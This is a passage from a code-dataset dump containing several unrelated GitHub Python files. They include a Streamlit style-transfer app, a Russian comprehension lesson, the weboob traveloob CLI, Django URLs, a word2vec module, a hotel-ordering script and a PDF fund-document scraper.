[\"conv_%d_%d\" % (i, j) for i in range(3, 6) for j in range(1, 5)]\n\n# sidebar contents\nst.sidebar.title(\"Configuration\")\ncontent_weight = st.sidebar.number_input(\"Content weight\", value=1.0)\nstyle_weight = st.sidebar.number_input(\"Style weight\", value=1000000.0)\nimage_size = st.sidebar.selectbox(\n \"Output image width\",\n (64, 128, 256, 512),\n index=3\n)\nepochs = st.sidebar.slider(\"Epochs\", value=26, min_value=10, max_value=40)\n\ncontent_layers = st.sidebar.multiselect(\n \"Content layers\", \n model_layers, \n [\"conv_4_2\"]\n)\nstyle_layers = st.sidebar.multiselect(\n \"Style layers\",\n model_layers,\n [\"conv_%d_1\" % i for i in range(1, 6)]\n)\nstyle_image = st.sidebar.file_uploader(\"Choose style image\", type=\"jpg\")\nstyle_image_placeholder = st.sidebar.empty()\nif style_image is not None:\n style_image_placeholder.image(style_image, use_column_width=True)\n\ncontent_image = st.sidebar.file_uploader(\"Choose content image\", type=\"jpg\")\ncontent_image_placeholder = st.sidebar.empty()\nif content_image is not None:\n content_image_placeholder.image(content_image, use_column_width=True)\nst.sidebar.text('')\nbutton = st.sidebar.button(\"Transfer!\")\n\n# page contents\nwith open(\"readme.md\", \"r\") as f:\n content = f.readlines()\n content = content[2:]\n content[0] = \"[This repository](https://github.com/firekind/style-transfer) contains an implementation of [Neural Algorithm of Artistic Style](https://arxiv.org/abs/1508.06576).\"\n content[1] += \" Scroll down to try it out!\\n\"\n st.markdown(\"\".join(content), unsafe_allow_html=True)\n\nst.markdown(\"## Try it Out!\")\nif button:\n if style_image == None or content_image == None:\n st.error(\"Style and/or content images are not selected\")\n elif len(content_layers) == 0 or len(style_layers) == 0:\n st.error(\"Please select at least one style and content layer\")\n else:\n header = st.empty()\n result = st.empty()\n\n header.markdown(\"Transferring style\")\n prog_bar = result.progress(0)\n current_progress = [0]\n\n def post_epoch_callback():\n current_progress[0] += 1\n prog_bar.progress(current_progress[0] / epochs)\n\n output = transfer_style(\n style_image=Image.open(style_image),\n content_image=Image.open(content_image),\n image_size=image_size,\n epochs=epochs,\n content_weight=content_weight,\n style_weight=style_weight,\n content_layers=content_layers,\n style_layers=style_layers,\n verbose=False,\n post_epoch_callback=post_epoch_callback,\n )\n header.markdown(\"Transfer Complete! Here's the result:\")\n result.image(output)\nelse:\n st.info(\"Select the images using the sidebar and click transfer!\")","repo_name":"firekind/style-transfer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"18991770550","text":"# [ number for number in numbers if number > 0]\n\nnumbers = [1, 2, 3, 4, 5, -1, -2, -3]\n\n# классический способ\nresult = []\nfor number in numbers:\n if number > 0:\n result.append(number)\n\nprint(result)\n\n# через функцию filter\nresult = filter(lambda number: number > 0, numbers)\nprint(list(result))\n\n# Через генератор\nresult = [number for number in numbers if number > 0]\nprint(result)\n\n\npairs = [(1, 'a'), (2, 'B'), (3, 'c')]\n\n# классический способ\nresult = {}\nfor pair in pairs:\n key = pair[0]\n val = pair[1]\n result[key] = val\n\nprint(result)\n\n\nresult = {pair[0]: pair[1] for pair in pairs}\nprint(result)\n\n\n# создать список случайных чисел от 1 до 100\nimport random\nnumbers = [random.randint(1, 100) for i in range(10)]\nprint(numbers)\n\n# создать список квадратов числе\nnumbers = [1, 2, 3, -4]\n\npow_numbers = [number ** 2 for number in numbers]\nprint(pow_numbers)\n\n# создать списко имен на букву А\nnames = ['Руслан', 'Дмитрий', 'Алексей', 'Андрей']\n\nnames_filter = [name for name in names if name.startswith('А')]\nprint(names_filter)","repo_name":"Hadirback/python","sub_path":"Lesson33_ListAndDictGenerate/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9430956411","text":"from __future__ import print_function\n\nimport datetime\n\nfrom weboob.capabilities.base import Currency, empty\nfrom weboob.capabilities.travel import CapTravel, RoadmapFilters\nfrom weboob.tools.application.repl import ReplApplication, defaultcount\nfrom weboob.tools.application.formatters.iformatter import PrettyFormatter\n\n\n__all__ = ['Traveloob']\n\n\nclass DeparturesFormatter(PrettyFormatter):\n MANDATORY_FIELDS = ('id', 'type', 'departure_station', 'arrival_station', 'time')\n\n def get_title(self, obj):\n s = obj.type\n if hasattr(obj, 'price') and not empty(obj.price):\n s += u' %s %s' % (self.colored(u'—', 'cyan'), self.colored('%6.2f %s' % (obj.price, Currency.currency2txt(obj.currency)), 'green'))\n if hasattr(obj, 'late') and not empty(obj.late) and obj.late > datetime.time():\n s += u' %s %s' % (self.colored(u'—', 'cyan'), self.colored('Late: %s' % obj.late, 'red', 'bold'))\n if hasattr(obj, 'information') and not empty(obj.information) and obj.information.strip() != '':\n s += u' %s %s' % (self.colored(u'—', 'cyan'), self.colored(obj.information, 'red'))\n return s\n\n def get_description(self, obj):\n if hasattr(obj, 'arrival_time') and not empty(obj.arrival_time):\n s = '(%s) %s%s\\n\\t(%s) %s' % (self.colored(obj.time.strftime('%H:%M') if obj.time else '??:??', 'cyan'),\n obj.departure_station,\n self.colored(' [Platform: %s]' % obj.platform, 'yellow') if (hasattr(obj, 'platform') and not empty(obj.platform)) else '',\n self.colored(obj.arrival_time.strftime('%H:%M'), 'cyan'),\n obj.arrival_station)\n else:\n s = '(%s) %20s -> %s' % (self.colored(obj.time.strftime('%H:%M') if obj.time else '??:??', 'cyan'),\n obj.departure_station, obj.arrival_station)\n\n return s\n\n\nclass StationsFormatter(PrettyFormatter):\n MANDATORY_FIELDS = ('id', 'name')\n\n def get_title(self, obj):\n return obj.name\n\n\nclass Traveloob(ReplApplication):\n APPNAME = 'traveloob'\n VERSION = '2.1'\n COPYRIGHT = 'Copyright(C) 2010-YEAR Romain Bignon'\n DESCRIPTION = \"Console application allowing to search for train stations and get departure times.\"\n SHORT_DESCRIPTION = \"search for train stations and departures\"\n CAPS = CapTravel\n DEFAULT_FORMATTER = 'table'\n EXTRA_FORMATTERS = {'stations': StationsFormatter,\n 'departures': DeparturesFormatter,\n }\n COMMANDS_FORMATTERS = {'stations': 'stations',\n 'departures': 'departures',\n }\n\n def add_application_options(self, group):\n group.add_option('--departure-time')\n group.add_option('--arrival-time')\n\n @defaultcount(10)\n def do_stations(self, pattern):\n \"\"\"\n stations PATTERN\n\n Search stations.\n \"\"\"\n for station in self.do('iter_station_search', pattern):\n self.format(station)\n\n @defaultcount(10)\n def do_departures(self, line):\n \"\"\"\n departures STATION [ARRIVAL [DATE]]]\n\n List all departures for a given station.\n The format for the date is \"yyyy-mm-dd HH:MM\" or \"HH:MM\".\n \"\"\"\n station, arrival, date = self.parse_command_args(line, 3, 1)\n\n station_id, backend_name = self.parse_id(station)\n if arrival:\n arrival_id, backend_name2 = self.parse_id(arrival)\n if backend_name and backend_name2 and backend_name != backend_name2:\n print('Departure and arrival aren\\'t on the same backend', file=self.stderr)\n return 1\n else:\n arrival_id = backend_name2 = None\n\n if backend_name:\n backends = [backend_name]\n elif backend_name2:\n backends = [backend_name2]\n else:\n backends = None\n\n if date is not None:\n try:\n date = self.parse_datetime(date)\n except ValueError as e:\n print('Invalid datetime value: %s' % e, file=self.stderr)\n print('Please enter a datetime in form \"yyyy-mm-dd HH:MM\" or \"HH:MM\".', file=self.stderr)\n return 1\n\n for departure in self.do('iter_station_departures', station_id, arrival_id, date, backends=backends):\n self.format(departure)\n\n def do_roadmap(self, line):\n \"\"\"\n roadmap DEPARTURE ARRIVAL\n\n Display the roadmap to travel from DEPARTURE to ARRIVAL.\n\n Command-line parameters:\n --departure-time TIME requested departure time\n --arrival-time TIME requested arrival time\n\n TIME might be in form \"yyyy-mm-dd HH:MM\" or \"HH:MM\".\n\n Example:\n > roadmap Puteaux Aulnay-sous-Bois --arrival-time 22:00\n \"\"\"\n departure, arrival = self.parse_command_args(line, 2, 2)\n\n filters = RoadmapFilters()\n try:\n filters.departure_time = self.parse_datetime(self.options.departure_time)\n filters.arrival_time = self.parse_datetime(self.options.arrival_time)\n except ValueError as e:\n print('Invalid datetime value: %s' % e, file=self.stderr)\n print('Please enter a datetime in form \"yyyy-mm-dd HH:MM\" or \"HH:MM\".', file=self.stderr)\n return 1\n\n for route in self.do('iter_roadmap', departure, arrival, filters):\n self.format(route)\n\n def parse_datetime(self, text):\n if text is None:\n return None\n\n try:\n date = datetime.datetime.strptime(text, '%Y-%m-%d %H:%M')\n except ValueError:\n try:\n date = datetime.datetime.strptime(text, '%H:%M')\n except ValueError:\n raise ValueError(text)\n date = datetime.datetime.now().replace(hour=date.hour, minute=date.minute)\n\n return date\n","repo_name":"laurentb/weboob","sub_path":"weboob/applications/traveloob/traveloob.py","file_name":"traveloob.py","file_ext":"py","file_size_in_byte":6055,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"75"} +{"seq_id":"9948402042","text":"from django.conf.urls import patterns, url\n\nfrom programs import views\n\nurlpatterns = patterns('',\n url(r'^$', views.index, name='index'),\n url(r'^matrix/$', views.matrix, name='matrix'),\n url(r'^finder/$', views.finder, name='finder'),\n url(r'^hypothetical/$', views.hypothetical, name='hypothetical')\n)\n","repo_name":"abhisharma2/matchmaker","sub_path":"programs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2689025479","text":"# -*- coding: utf-8 -*-\nimport torch\nfrom torch import nn\nfrom utils import *\n\n\nclass HS(nn.Module):\n def __init__(self, vocab_size, emb_dim, tensor_d):\n super(HS, self).__init__()\n self.embedding_v = nn.Embedding(vocab_size, emb_dim) # 中心词\n self.embedding_u = nn.Embedding(vocab_size, emb_dim) # 周围词\n self.tensor_d = tensor_d\n nn.init.xavier_uniform_(self.embedding_v.weight)\n nn.init.xavier_uniform_(self.embedding_u.weight)\n\n def forward(self, input, target, vocabs):\n input_emb = self.embedding_u(input) # B*len*h\n target_emb = self.embedding_v(target)\n target_codes = [self.tensor_d[t.item()] for t in target] # B*1*h\n input_emb = torch.mean(input_emb, dim=1).unsqueeze(1)\n sig_vector = torch.sigmoid(input_emb.bmm(target_emb.transpose(1, 2))).squeeze(1)\n loss = sum([calc_word_p(target_code, sig_vector) for target_code in target_codes])\n return torch.tensor(loss, dtype=torch.float32, requires_grad=True)\n","repo_name":"WAng91An/nlp_papers","sub_path":"W2V/models/HS.py","file_name":"HS.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5332934938","text":"avalible_items = {}\r\n\r\nprint(\"press q to quit \")\r\n\r\ndef cust():\r\n while True:\r\n print('OK\\n')\r\n\r\n cust = input(\"enter your item you want to oder : \")\r\n\r\n if cust in avalible_items:\r\n print(\"thanks for oder\")\r\n\r\n elif cust == 'q':\r\n break\r\n else:\r\n print(\"sorry we don't have that item\")\r\n\r\ndef manage():\r\n while True:\r\n manager = input(\"enter your items : \")\r\n if manager != 'q':\r\n price = input(\"enter the item price : \")\r\n avalible_items[manager] = price\r\n \r\n else:\r\n break\r\n\r\ndef bill():\r\n name = input('Enter your name :- ')\r\n file = open(f'{name}.txt', 'a', encoding='utf-8')\r\n file.writelines(f'Hello, {name}. Good to see you at our hotel.')\r\n file.writelines('\\n')\r\n file.writelines('\\n')\r\n file.writelines(f'{avalible_items}')\r\n file.writelines('\\n')\r\n\r\nprint(avalible_items)\r\n","repo_name":"coding-black/pytjpn-hotel-management","sub_path":"hotel_staff.py","file_name":"hotel_staff.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19396319577","text":"\nfrom types import LambdaType\nimport dateparser\nimport datetime\n\nimport re\n\nimport camelot\n\n# --- This may be useful\n# NOTE: https://github.com/python/cpython/blob/main/Lib/difflib.py\nfrom difflib import SequenceMatcher\n# ---\n#pip install nltk\n# TODO: nltk will need the dwnload things, me do later\n\nimport nltk.data as nltk_data\n#nltk.data.path.append('./test_nltk')\nnltk_data.path.append('./install/nltk_data')\n\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\n\n# ---\n\nimport PyPDF2\n\nimport pandas as pd\n\n#import matplotlib.pyplot as plt\n\nfrom operator import itemgetter\n\n\nfrom Scraper.nn_extraction import run_pdf_table_detection, pdf_to_images\n\n#from nn_extraction import run_pdf_table_detection\n\n\n\nimport pdfplumber\n\n\nimport io\n\nimport requests\n\nimport math\n\nfrom scipy import stats as sci_stats\n\n\nimport numpy as np\n\nimport json\n\nimport openpyxl as pyxl\n\n# https://bitbucket-students.deakin.edu.au/scm/webmc-ug/super-scrapper.git\n\n\n'''\nBelow are some funds and the corrisponding links to the pdfs, i dont think we dont want to be uploading pdfs to the bitbucket, so download them and then move them out when uploading or something\nhttps://www.pendalgroup.com/products/pendal-australian-share-fund/ : https://www.pendalgroup.com/wp-content/uploads/docs/factsheets/PDS/Pendal%20Australian%20Share%20Fund%20-%20PDS.pdf?v=2021-05-061620317117\nhttps://www.hyperion.com.au/hyperion-australian-growth-companies-fund/ : https://www.hyperion.com.au/wp-content/uploads/Hyperion-Australian-Growth-Companies-Fund-PDS-Additional-Information.pdf\nhttps://www.fidelity.com.au/funds/fidelity-australian-equities-fund/ : https://www.fidelity.com.au/funds/fidelity-australian-equities-fund/related-documents/product-disclosure-statement/\nhttps://www.vanguard.com.au/adviser/products/en/detail/wholesale/8100/equity : https://www.vanguard.com.au/adviser/products/documents/8189/AU\n'''\n\n\n# NOTE: Tutorial from: https://www.geeksforgeeks.org/python-measure-similarity-between-two-sentences-using-cosine-similarity/\n# NOTE: Natural Language Processing tool kit is a great rescource for looking for stuff like this: https://www.nltk.org/\n# NOTE: This should be a bit better than the basic sequence matcher\n\n# This is a function that takes in text, tokenizes into words' into numbers, then uses cosine similarity.\n# To understand and/or make improvments, go look up word tockenization and documetn vectorization.\ndef cosine_similarity(string_1, string_2, ommit=[]):\n\t\"\"\"\n\t-- Input --\n\t- string_1 (string) - fist compare string\n\t- string_2 (string) - second compare string\n\t-- Output --\n\t- cosine (float) - An abeterey number representing cosine different (higher == more similar)\n\t\"\"\"\n\n\tremove_symbols_1 = re.sub('[^\\w ]+|[_]+',' ',string_1 + '')\n\tremove_symbols_2 = re.sub('[^\\w ]+|[_]+',' ',string_2 + '')\n\n\ttoken_1 = word_tokenize(remove_symbols_1)\n\ttoken_2 = word_tokenize(remove_symbols_2)\n\n\t# If invalide\n\tif len(token_1) == 0 or len(token_2) == 0:\n\t\treturn 0.0\n\n\t# Ommits common words that are not useful\n\tsw = stopwords.words('english')\n\tl1 =[];l2 =[]\n\t# Remove stop words from the string\n\tset_1 = {w for w in token_1 if not w in sw}\n\tset_2 = {w for w in token_2 if not w in sw}\n\n\t# Form a set containing keywords of both strings\n\trvector = set_1.union(set_2)\n\tfor w in rvector:\n\t\tif w in set_1:\n\t\t\tl1.append(1)\n\t\telse:\n\t\t\tl1.append(0)\n\t\tif w in set_2:\n\t\t\tl2.append(1)\n\t\telse:\n\t\t\tl2.append(0)\n\tc = 0\n\t\n\t# Cosine\n\tfor i in range(len(rvector)):\n\t\tc+= l1[i]*l2[i]\n\tdivisor = float((sum(l1)*sum(l2))**0.5)\n\tcosine = 0\n\tif divisor != 0:\n\t\tcosine = c / float((sum(l1)*sum(l2))**0.5)\n\treturn cosine\n# --\n\n\n#tables = camelot.read_pdf(\"https://www.hyperion.com.au/wp-content/uploads/Hyperion-Australian-Growth-Companies-Fund-PDS-Additional-Information.pdf\",pages = 'all', flavor = 'stream',flag_size=True)\n\n\nclass StringTest:\n\n\turl_string = \"\"\n\ttext = \"\"\n\n\tdef __init__(self, url_string_):\n\t\tself.url_string = url_string_\n\n\n\tdef extract_text(self, lower = False):\n\t\tr = requests.get(self.url_string)\n\t\tf = io.BytesIO(r.content)\n\n\t\tpdfReader = None\n\t\ttry:\n\t\t\t#pdfReader = PyPDF2.PdfFileReader(f)#,strict=False\n\t\t\tpdfReader = pdfplumber.open(f)\n\t\texcept:\n\t\t\tprint('Failed String Test')\n\t\t\treturn\n\t\t#print(pdfReader.numPages)\n\t\tself.text = \"\"\n\n\t\t#for page in pdfReader.pages:\n\t\t#\tself.text += page.extractText()\n\t\t# --\n\t\tfor page in pdfReader.pages:\n\t\t\tmore_text = page.extract_text(x_tolerance=1, y_tolerance=1)\n\t\t\tif more_text:\n\t\t\t\tself.text += more_text\n\t\tif lower:\n\t\t\tself.text = self.text.lower()\n\t\t#text_file = open(\"pdf_texts.txt\", \"w\")\n\t\t#text_file.write(self.url_string)\n\t\t#text_file.close()\n\n\n\tdef test_for_string(self, test_string, regex_ = False, amount = None):\n\t\t\"\"\"\n\t\t-- Input --\n\t\t- test_string (string) - String to test against\n\t\t- regex_ (string(regex)) - if present run re.search on test_string (defualt == False)\n\t\t- amount (int) - number of characters to search from top of page (defualt == all)\n\t\t-- Output --\n\t\t- found (bool) - did find the string\n\t\t\"\"\"\n\t\tfound = False\n\t\ttext = self.text\n\t\tif amount:\n\t\t\ttext = self.text[:amount]\n\t\tif regex_:\n\t\t\tfound = re.search(test_string, text)\n\t\telse:\n\t\t\tfound = text.find(test_string) != -1\n\t\treturn found\n\n# --\n\n\n# NOTE: This numerics/symbols regex weight function will allow stuff like 23, %, /, ^3, @#421-3, +, - to be given increased or decreased wieghts\n\ndef pattern_weights(in_string, regex_list):\n\t\"\"\"\n\tApplys weights to each string if found\n\t-- Output --\n\t- weight (float) - Total sum weight.\n\t\"\"\"\n\tweight = 0\n\tfor pattern in regex_list:\n\t\tif re.search(pattern[0], in_string) != None:\n\t\t\tweight += pattern[1]\n\t# --\n\treturn weight\n\n\n\n\ndef find_most_similar(string_, compare_values_, use_cosine=True, use_weights=True):\n\t\"\"\"\n\t-- Input --\n\t- string_ (string) - String to compare against\n\t- compare_values_ (string - map - list) - values to compare against string\n\t- use_cosine (bool) - should use cosine\n\t-- Output --\n\t- Highest compare_values_ match\n\t- returns: ('string that was being tested', 'catagory string that matched highest', ratio of similarity)\n\t\"\"\"\n\t#highest_match = [\"\",\"\",0]\n\thighest_match = {\n\t\t\"str\": \"\",\n\t\t\"cat\": None,\n\t\t\"match\": \"\",\n\t\t\"ratio\": 0,\n\t}\n\tsimilarity_list = []\n\tfor cat_name in compare_values_:#compare_string_list_\n\t\tcatagory = compare_values_[cat_name]\n\t\tfor compare_name in catagory[\"compare\"]:\n\t\t\titem = catagory[\"compare\"][compare_name]\n\n\t\t\tratio_sequence = SequenceMatcher(None,compare_name.lower(),string_.lower()).ratio()\n\t\t\tratio_cosine = cosine_similarity(compare_name.lower(), string_.lower())\n\n\t\t\tratio_ = ratio_sequence\n\t\t\tif use_cosine:\n\t\t\t\tratio_ = (ratio_sequence * 0.35) + ratio_cosine\n\t\t\t# --\n\n\t\t\tif use_weights:\n\t\t\t\tregex_list = item[\"weights\"]\n\t\t\t\tsymbols_weight = pattern_weights(string_.lower(), regex_list)\n\t\t\t\tratio_ += ratio_ * symbols_weight\n\t\t\t\tratio_ += ratio_ * item[\"bias\"]\n\t\t\t# --\n\n\n\t\t\t#match_info = [string_, compare_name, ratio_]\n\t\t\tmatch_info = {\n\t\t\t\t\"str\": string_,\n\t\t\t\t\"cat\": cat_name,\n\t\t\t\t\"match\": compare_name,\n\t\t\t\t\"ratio\": ratio_,\n\t\t\t}\n\t\t\tsimilarity_list.append(match_info)\n\n\tfor match_info in similarity_list:\n\t\tif match_info[\"ratio\"] > highest_match[\"ratio\"]:\n\t\t\thighest_match = match_info\n\treturn highest_match\n\n\n\n\ndef find_similar(string_, cat_name, catagory, use_cosine=True, use_weights=True):\n\t\"\"\"\n\t-- Input --\n\t- string_ (string) - String to compare against\n\t- compare_values_ (string - map - list) - values to compare against string\n\t- use_cosine (bool) - should use cosine\n\t-- Output --\n\t- Highest compare_values_ match\n\t- returns: ('string that was being tested', 'catagory string that matched highest', ratio of similarity)\n\t\"\"\"\n\t#highest_match = [\"\",\"\",0]\n\thighest_match = {\n\t\t\"str\": None,\n\t\t\"cat\": None,\n\t\t\"match\": None,\n\t\t\"ratio\": 0,\n\t}\n\tsimilarity_list = []\n\t#for cat_name in compare_values_:#compare_string_list_\n\t#catagory = compare_values_[cat_name]\n\tfor compare_name in catagory[\"compare\"]:\n\t\titem = catagory[\"compare\"][compare_name]\n\n\t\tratio_sequence = SequenceMatcher(None,compare_name.lower(),string_.lower()).ratio()\n\t\tratio_cosine = cosine_similarity(compare_name.lower(), string_.lower())\n\n\t\tratio_ = ratio_sequence\n\t\tif use_cosine:\n\t\t\tratio_ = (ratio_sequence * 0.35) + ratio_cosine\n\t\t# --\n\n\t\tif use_weights:\n\t\t\tregex_list = item[\"weights\"]\n\t\t\tsymbols_weight = pattern_weights(string_.lower(), regex_list)\n\t\t\tratio_ += ratio_ * symbols_weight\n\t\t\tratio_ += ratio_ * item[\"bias\"]\n\t\t# --\n\n\n\t\t#match_info = [string_, compare_name, ratio_]\n\t\tmatch_info = {\n\t\t\t\"str\": string_,\n\t\t\t\"cat\": cat_name,\n\t\t\t\"match\": compare_name,\n\t\t\t\"ratio\": ratio_,\n\t\t}\n\t\tsimilarity_list.append(match_info)\n\n\tfor match_info in similarity_list:\n\t\tif match_info[\"ratio\"] > highest_match[\"ratio\"]:\n\t\t\thighest_match = match_info\n\treturn highest_match\n\n\n\n\n\n\n\n\ndef font_size_filter(in_object):\n\tsuccess = True\n\tif 'size' in in_object:\n\t\tfont_size = in_object['size']\n\t\tif font_size < 6:\n\t\t\tsuccess = False\n\t# --\n\treturn success\n# --\n\n\nclass DocumentExtraction:\n\turl_string = ''\n\t\"\"\"\n\ttable_areas: {'bbox': [int(xyxy[0]), int(xyxy[1]), int(xyxy[2]), int(xyxy[3])], 'conf': conf, 'class': names[c]}\n\t\"\"\"\n\n\tdef __init__(self, url_string_, save_iamges=False):\n\t\tself.url_string = url_string_\n\t\tself.save_iamges = save_iamges\n\n\t\t# Instance variables\n\t\tself.detected_tables = []\n\t\tself.doc_pages = []\n\n\tdef detect_tables(self):\n\t\tpage_table_detections = run_pdf_table_detection(self.url_string, self.save_iamges)\n\t\tprint(len(page_table_detections))\n\t\tself.detected_tables = page_table_detections\n\n\tdef extract_tables(self):\n\t\t\"\"\"\n\t\tThis will detect_tables with nn, then it will create pages with tables in them and then run extraction processes.\n\t\t\"\"\"\n\n\t\t# Use nueral network to detect tables\n\t\tself.detect_tables()\n\t\t# Make sure to reset data to avoid repeats\n\t\tself.doc_pages = []\n\n\t\tr = requests.get(self.url_string)\n\t\tf = io.BytesIO(r.content)\n\n\t\t# This is the pixel resolution, pdfplumber uses 72\n\t\tlocal_dpi = 72\n\t\t# If you change this, go look at the nn_extraction and change the dpi there as well\n\t\tglobal_dpi = 200\n\n\t\twith pdfplumber.open(f) as pdf:\n\n\t\t\tif len(pdf.pages) <= 0:\n\t\t\t\treturn\n\t\t\t# Get pdf initial page size\n\t\t\tfirst_page = pdf.pages[0]\n\t\t\t#print(\"\\n\\n -- FIRST PAGE WIDTH: \",first_page.width)\n\t\t\tprint('PDF Size: ', (first_page.width,first_page.height))\n\n\t\t\tfor page_tables in self.detected_tables:\n\t\t\t\t\n\t\t\t\tpg_no = page_tables['page_number']\n\n\t\t\t\tif len(pdf.pages) - 1 < pg_no:\n\t\t\t\t\tprint('\\n\\n\\n --- PAGE NUMBER NOT RETRIVED! --- \\n\\n\\n')\n\t\t\t\t\tcontinue\n\n\t\t\t\tpage_ = pdf.pages[pg_no]\n\t\t\t\tpage_ = page_.filter(font_size_filter)\n\t\t\t\tnew_page = DocPage(page_, pg_no, page_tables)\n\t\t\t\tnew_page.extract_data()\n\n\t\t\t\tself.doc_pages.append(new_page)\n\n\t\treturn\n# --\n\n\n\n# TODO: add datatype biasing to 'compare_catargories' eg: prefers % preferes + - / ()\n\nclass DocumentDataExtractor:\n\tdocuments = []\n\n\n\textraction_params = {\n\t\t\"Management Fee\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"management fee\": {\n\t\t\t\t\t\"weights\": [['[+\\\\$\\-\\%]',0.3], ['\\d',0.9], ['management', 1], ['performance', -1], ['\\%', 0.1], ['p.a', 0.5]],\n\t\t\t\t\t\"bias\": 0.2\n\t\t\t\t},\n\t\t\t\t\"management cost\": {\n\t\t\t\t\t\"weights\": [['[+\\\\$\\-\\%]',0.3], ['\\d',0.9], ['management', 1], ['performance', -1], ['\\%', 0.1], ['p.a', 0.5]],\n\t\t\t\t\t\"bias\": 0.2\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t}\n\t\t},\n\t\t\"Performance Fee\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"performance fee\": {\n\t\t\t\t\t\"weights\": [['[+\\\\$\\-\\%]',0.3], ['\\d',0.9], ['management', -1], ['performance', 1], ['\\%', 0.1], ['p.a', 0.5]],\n\t\t\t\t\t\"bias\": 0.2\n\t\t\t\t},\n\t\t\t\t\"performance cost\": {\n\t\t\t\t\t\"weights\": [['[+\\\\$\\-\\%]',0.3], ['\\d',0.9], ['management', -1], ['performance', 1], ['\\%', 0.1], ['p.a', 0.5]],\n\t\t\t\t\t\"bias\": 0.2\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t}\n\t\t},\n\t\t\"Buy/Sell spread\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"buy sell spread\": {\n\t\t\t\t\t\"weights\": [['[+\\\\$\\-\\%]',0.3],['\\d',0.9],['[\\+\\d.%]+ ?\\/ ?\\-[\\d.%]+|\\++ ?[\\d.%]* ?\\/ ?\\- ?[\\d.%]*',2]],# '\\+.+%.+\\/.+\\-.+%'\n\t\t\t\t\t\"bias\": 0.2\n\t\t\t\t},\n\t\t\t\t\"transaction costs allowance\": {\n\t\t\t\t\t\"weights\": [['[+\\\\$\\-\\%]',0.3],['\\d',0.9],['[\\+\\d.%]+ ?\\/ ?\\-[\\d.%]+|\\++ ?[\\d.%]* ?\\/ ?\\- ?[\\d.%]*',2]],# '\\+.+%.+\\/.+\\-.+%'\n\t\t\t\t\t\"bias\": 0\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t}\n\t\t},\n\t\t\"NAV\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"nav\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9]],# '\\+.+%.+\\/.+\\-.+%'\n\t\t\t\t\t\"bias\": 0\n\t\t\t\t},\n\t\t\t\t\"net asset value\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9]],# '\\+.+%.+\\/.+\\-.+%'\n\t\t\t\t\t\"bias\": 0.5\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t}\n\t\t},\n\t\t\"Class Size\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"class size\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9], ['size', 0.5], ['\\$', 0.6], ['AUD|USD|A\\$',1.2], ['million|billion', 1.2]],# '\\+.+%.+\\/.+\\-.+%'\n\t\t\t\t\t\"bias\": 0.2\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t}\n\t\t},\n\t\t\"Fund Size\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"fund size\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9], ['size', 0.5], ['\\$', 0.6], ['AUD|USD|A\\$',1.2], ['million|billion', 1.2]],# '\\+.+%.+\\/.+\\-.+%'\n\t\t\t\t\t\"bias\": 0.2\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t}\n\t\t},\n\t\t\"Strategy Size\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"strategy size\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9], ['size', 0.5], ['\\$', 0.6], ['AUD|USD|A\\$',1.2], ['million|billion', 1.2]],# '\\+.+%.+\\/.+\\-.+%'\n\t\t\t\t\t\"bias\": 0.2\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t}\n\t\t},\n\t\t\n\t}\n\n\textraction_params_tables = {\n\t\t\"Asset Allocation\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"portfolio asset allocation\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9], ['strategic', 0.3], ['asset class| asset allocation', 1.2], ['\\%', 0.1], ['range', 0.2]],\n\t\t\t\t\t\"bias\": 0\n\t\t\t\t},\n\t\t\t\t\"sector allocation\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9], ['strategic', 0.3], ['asset class| asset allocation', 1.2], ['\\%', 0.1], ['range', 0.2]],\n\t\t\t\t\t\"bias\": 0\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t\t\"table\": {\n\t\t\t\t\t\"top_regex\": [\n\t\t\t\t\t\t'portfolio|allocation|asset|sector'\n\t\t\t\t\t],\n\t\t\t\t\t\"search_regex\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'search': 'portfolio|allocation',\n\t\t\t\t\t\t\t'label': 'asset_allocation',\n\t\t\t\t\t\t\t#'search': lambda item:\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'search': 'asset|sector',\n\t\t\t\t\t\t\t'label': 'asset_allocation',\n\t\t\t\t\t\t\t#'search': lambda item:\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"Top Holdings\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"top 